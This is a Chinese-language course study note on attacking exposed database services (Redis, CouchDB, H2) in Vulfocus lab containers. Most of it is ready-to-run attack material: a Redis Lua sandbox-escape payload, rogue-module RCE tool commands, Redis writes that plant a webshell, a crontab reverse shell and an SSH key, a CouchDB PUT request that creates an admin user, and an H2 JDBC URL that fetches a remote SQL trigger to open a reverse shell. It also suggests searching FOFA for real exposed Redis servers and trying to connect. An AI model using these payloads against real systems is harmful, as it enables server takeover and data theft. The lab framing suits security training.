文章目錄
- 前記
- 服務攻防——第七十八天
- 數據庫安全&Redis&CouchDB&H2database&未授權訪問&CVE漏洞
- 前置知識
- 復現環境
- 服務判斷
- 對象類別
- 利用方法
- 數據庫應用 - Redis-未授權訪問&CVE漏洞
- 前置知識
- 案例演示
- 沙箱繞過RCE - CVE-2022-0543
- 未授權訪問 - CNVD-2019-21763
- 未授權訪問 - CNVD-2015-07557
- 寫WebShell
- 寫定時任務反彈Shell
- 寫入Linux SSH-Key公鑰
- 自動化項目
- 數據庫應用 - Couchdb-未授權越權&CVE漏洞
- 前置知識
- 案例演示
- Couchdb命令執行(CVE-2017-12636)
- Couchdb 垂直越權(CVE-2017-12635)
- 數據庫應用 - H2database-未授權訪問&CVE漏洞
- 前置知識
- 案例演示
- 未授權訪問
- RCE執行反彈(CVE-2022-23221)
前記
- 今天是學習小迪安全的第七十八天,本節課是服務攻防的第一節內容,主要是數據庫安全,包括Redis、CouchDB以及H2database數據庫
- 主要以實戰為主,需要自己下去慢慢復現,然后理解思路
服務攻防——第七十八天
數據庫安全&Redis&CouchDB&H2database&未授權訪問&CVE漏洞
前置知識
復現環境
- 復現環境可以使用
Vulfocus
或Vulhub
- 這里推薦使用
Vulfocus
,但是官方在線網站好像是使用不了了,我們可以本地搭建環境 - 官方參考文檔:https://fofapro.github.io/vulfocus/#/
- 搭建教程參考:
Vulfocus
靶機環境搭建部署:- https://blog.csdn.net/csd_ct/article/details/121158165
Vulfocus
不能同步的解決方法/vulfocus
同步失敗:- https://blog.csdn.net/m0_64563956/article/details/131229046
- 我這里是搭建到本地
Ubuntu
上面的,當然更推薦部署到公網服務器上,然后采用的是docker
搭建:
docker pull vulfocus/vulfocus:latest
- 鏡像拉取完畢后直接運行即可:
docker run -d -p 8099:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus
-
這里我們將其映射到了8099端口,所以訪問
http://IP:8099
就能夠訪問到Vulfocus
靶場,賬號密碼為admin/admin
,然后到鏡像管理這里一鍵同步即可:
-
這樣我們就可以部署自己想要的靶場環境了,當然也可以自定義靶場
-
我這里并沒有遇到小迪所說的無法同步的問題,也可以正常下載鏡像,有問題的看看上面的兩篇文章解決以下
服務判斷
- 端口掃描:利用服務開啟后目標端口開放判斷
- 組合判斷:利用搭建常見組合分析可能開放服務
- 信息來源:訪問端口提示軟件版本,應用信息等
- 強弱特征:如框架
shiro
強特征rememberMe
,SpringBoot
默認頁面等
對象類別
- 對服務進行類別劃分,通過服務功能理解,如數據庫有帳號密碼就有爆破利用方法,也可以針對服務公開的 CVE 進行漏洞測試及服務常見的錯誤安全配置導致的未授權訪問等。
利用方法
- 主要集中在 CVE 漏洞,未授權訪問,弱口令爆破等
數據庫應用 - Redis-未授權訪問&CVE漏洞
前置知識
Redis
是一套開源的使用ANSI
C
編寫、支持網絡、可基于內存亦可持久化的日志型、鍵值存儲數據庫,并提供多種語言的API
。Redis
如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis
以及讀取Redis
的數據。Redis
默認端口:6379
,這也是一個判斷是否為Redis
的特征
案例演示
- 演示關于
Redis
常見的幾個漏洞,需要在Vulfocus
中下載如下三個靶場:
沙箱繞過RCE - CVE-2022-0543
-
啟動之后為了避免沖突,它會將6379端口映射到一個隨機端口,實戰下一般都是默認的端口
-
然后這里我們直接嘗試使用
Another Redis Desktop Manager
連接,看是否存在未授權訪問:
-
可以看到也是成功連接上了,說明是存在未授權訪問的,連接上之后就可以嘗試使用已知的
Redis
歷史漏洞嘗試打打 -
這里的話是存在
CVE-2022-0543
這個漏洞的,Payload
如下:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
-
不需要看懂,遇到的時候直接用就行了,它的作用是執行
id
命令,我們將他插入到終端這里,看是否能夠成功執行即可:
-
可以看到這里成功執行命令,如果在實戰中我們也可以直接嘗試連接看是否存在未授權,然后再插入這個命令看看是否執行,如果能夠成功執行,那就恭喜你找到了一個漏洞
-
比如我們可以隨便在
fofa
上搜一搜看看,語法如下:
port="6379" && protocol="redis"
-
不管它數據包里面返回什么內容都沒關系,都可以嘗試連接一下:
-
然后就可以嘗試打一下歷史漏洞,這里我們就不亂玩了,但是感覺現在這種未授權訪問都比較少見了
未授權訪問 - CNVD-2019-21763
-
開啟第二個靶機:
-
由于在
Reids 4.x
及以上版本中新增了模塊功能,攻擊者可通過外部拓展,在Redis
中實現一個新的Redis
命令。攻擊者可以利用該功能引入模塊,在未授權訪問的情況下使被攻擊服務器加載惡意.so
文件,從而實現遠程代碼執行。 -
利用工具項目:https://github.com/vulhub/redis-rogue-getshell
-
按照它的說明先
make
一下得到exp.so
文件:
cd RedisModulesSDK/
make
- 然后就可以利用了:
python redis-master.py -r 目標IP -p 目標端口 -L 攻擊IP -P 8888 -f RedisModulesSDK/exp.so -c "id"
- 可以看到是成功利用的
未授權訪問 - CNVD-2015-07557
-
同樣啟動靶機:
-
這個漏洞有三種利用方式,但都是利用寫文件的方式去嘗試利用
寫WebShell
- 利用條件:存在Web網站,且Web路徑已知,具有目錄讀寫權限,所以可以看到利用條件較為苛刻
- 利用:
config set dir /tmp #設置WEB寫入目錄,這里假設為/tmp
config set dbfilename 1.php #設置寫入文件名
set test "<?php phpinfo();?>" #設置寫入文件代碼
bgsave #保存執行
save #保存執行
-
這里連接上
Redis
之后,一個個寫入命令即可:
-
都顯示
OK
,沒有任何報錯就說明命令成功執行了,這時我們看一看/tmp
目錄下是否成功創建1.php
文件即可,當然這里因為是在docker
容器中,所以要在docker
目錄下去找:
-
這里因為之前傳過一些
php
文件,但是我們直接找最后是/tmp
目錄的1.php
文件即可,就是最后兩個,那就看看其內容是否為<?php phpinfo();?>
即可:
-
這里看到確實沒問題,是我們寫入的文件,當然也可以再換個文件名上傳驗證一下,我這邊就不再演示了
寫定時任務反彈Shell
- 利用條件:
Redis
服務使用ROOT賬號啟動,安全模式protected-mode
處于關閉狀態,可以看到也是比較苛刻的條件 - 利用:
config set dir /var/spool/cron #修改 Redis 的持久化目錄為/var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/攻擊機IP/PORT 0>&1\n\n\n" #在 Redis 中設置一個鍵 yy,其值是一個惡意的 crontab 條目,反彈Shell命令
config set dbfilename x #設置 Redis 持久化文件名為 x
save #強制 Redis 立即將內存中的數據持久化到磁盤
-
因為我這里靶機環境是
docker
搭建的,所以沒有/var/spool/cron
目錄,但是真實情況下是有的:
-
那這里就演示不了了,然后也需要注意的是網站的服務器要是
CentOS
,否則也無法執行成功 -
因為
CentOS
會忽略亂碼去執行格式正確的任務計劃,而Ubuntu
并不會忽略這些亂碼,所以導致命令執行失敗
寫入Linux SSH-Key公鑰
- 利用條件:
Redis
服務使用 ROOT 賬號啟動,安全模式protected-mode
處于關閉狀態,允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器;同樣是很苛刻的條件 - 利用:
# 在自己的攻擊機上執行的命令
ssh-keygen -t rsa #生成一對 RSA 密鑰
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt #生成一個 key.txt 文件
cat key.txt | redis-cli -h 目標IP -x set xxx #把 key.txt 的內容作為值,設置到目標 Redis 的鍵 xxx 中# 在Redis服務上執行的命令
config set dir /root/.ssh/ #修改 Redis 的持久化目錄為目標服務器的 /root/.ssh/
config set dbfilename authorized_keys #設置持久化文件名為 authorized_keys,即 SSH 公鑰文件名
save# 在自己的攻擊機上再次執行的命令
cd /root/.ssh/
ssh -i id_rsa root@目標IP #使用本地私鑰 id_rsa 登錄目標服務器
- 這些其實都比較雞肋,實戰中碰到的概率太低了,所以演不演示都沒多大必要了
自動化項目
- 針對
Redis
服務上述的三個漏洞,我們如果碰到一個個測太慢了,那這里有別人寫好的自動化腳本,實戰中直接掃就好了 - 項目地址:https://github.com/n0b0dyCN/redis-rogue-server
- 同樣需要先
make
一下:
cd RedisModulesSDK/exp/
make
- 然后直接使用如下命令掃描即可:
python redis-rogue-server.py --rhost 目標IP --rport 目標端口 --lhost 攻擊機IP
數據庫應用 - Couchdb-未授權越權&CVE漏洞
前置知識
Apache CouchDB
是一個開源數據庫,專注于易用性和成為 “完全擁抱 web 的數據庫”。它是一個使用 JSON 作為存儲格式,JavaScript
作為查詢語言,MapReduce
和HTTP
作為 API 的NoSQL
數據庫。- 應用廣泛,如 BBC 用在其動態內容展示平臺;
Credit Suisse
用在其內部的商品部門的市場框架;Meebo
用在其社交平臺(web 和應用程序)。在 2017 年 11 月 15 日,CVE-2017-12635
和CVE-2017-12636
披露利用。 Couchdb
默認端口:5984
案例演示
-
在演示之前,我們需要在
Vulfocus
中拉取它的靶場:
-
這個同樣也是碰到了就直接用
poc
打就行了
Couchdb命令執行(CVE-2017-12636)
-
啟動靶機:
-
漏洞利用項目地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
-
把上面的
exp
復制下來,修改如下部分:
-
然后將其放到我們的攻擊機,先監聽443端口,然后直接
python exp.py
即可:
-
這里就成功利用了,能夠執行任何命令
Couchdb 垂直越權(CVE-2017-12635)
-
還是先啟動我們的靶機:
-
訪問5984端口,這里是映射到了27653端口,會返回這樣的
JSON
數據:
-
那我們就可以直接使用網上的
POC
進行利用,通過BP
或者Postman
發包:
PUT /_users/org.couchdb.user:lingaaa HTTP/1.1
Host: 192.168.0.143:27653
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 105{"type": "user","name": "lingaaa","roles": ["_admin"],"roles": [],"password": "lingaaa"
}
-
先等一會再發,這里我們先打開
http://192.168.0.143:27653/_utils/#login
,用這個賬號密碼嘗試登錄發現沒有用戶:
-
然后再將這個數據包發送出去,可以看到它的回顯包中提示
OK:true
,再次登錄發現登錄成功:
數據庫應用 - H2database-未授權訪問&CVE漏洞
前置知識
H2database
是Java SQL
數據庫,H2 的主要特點是:非常快,開源,JDBC API
;嵌入式和服務器模式;內存數據庫;基于瀏覽器的控制臺應用程序。- H2 數據庫控制臺中的另一個未經身份驗證的 RCE 漏洞,在
v2.1.210 +
中修復。2.1.210
之前的 H2 控制臺允許遠程攻擊者通過包含子字符串的jdbc:h2:mem JDBC URL
執行任意代碼。 - **
H2database
的默認端口為:- TCP 服務端口:9092
- Web 控制臺端口:8082
- 這里它的默認端口是
9092
和8082
,至于小迪上面說的20051
是O2OA
開發平臺內置的H2
默認端口
案例演示
-
同樣,我們需要下載關于
H2database
的一個靶場:
-
直接打開
8082
端口,這里映射的是18292
端口,看到如下界面就說明是H2
數據庫:
未授權訪問
- 我們直接在
JDBC URL
處填入以下內容就可以嘗試存不存在未授權訪問的情況:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
- 這里就成功進入了,說明存在未授權訪問
- 當然有的時候也可以嘗試之前的JNDI注入,使用
rmi
協議看能否進行攻擊利用
RCE執行反彈(CVE-2022-23221)
- 同樣使用網上的
POC
,我們在攻擊機上創建數據庫文件h2database.sql
,寫入如下內容:
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反彈shell指令}|{base64,-d}|{bash,-i}");';
- 這里填入我們的反彈Shell命令,需要經過Base64編碼,比如:
bash -i >& /dev/tcp/192.168.0.129/6666 0>&1
- 然后我們在攻擊機上啟動一個簡單的服務器,讓目標服務器去加載這個惡意
sql
文件:
python -m http.server 8888
- 最后使用
nc
監聽6666端口:
nc -lnvp 6666
- 接著,我們就將如下
Payload
填入上面的JDBC URL
處,讓他加載h2database.sql
即可嘗試getshell
:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
- 也是成功
getshell
,執行任意命令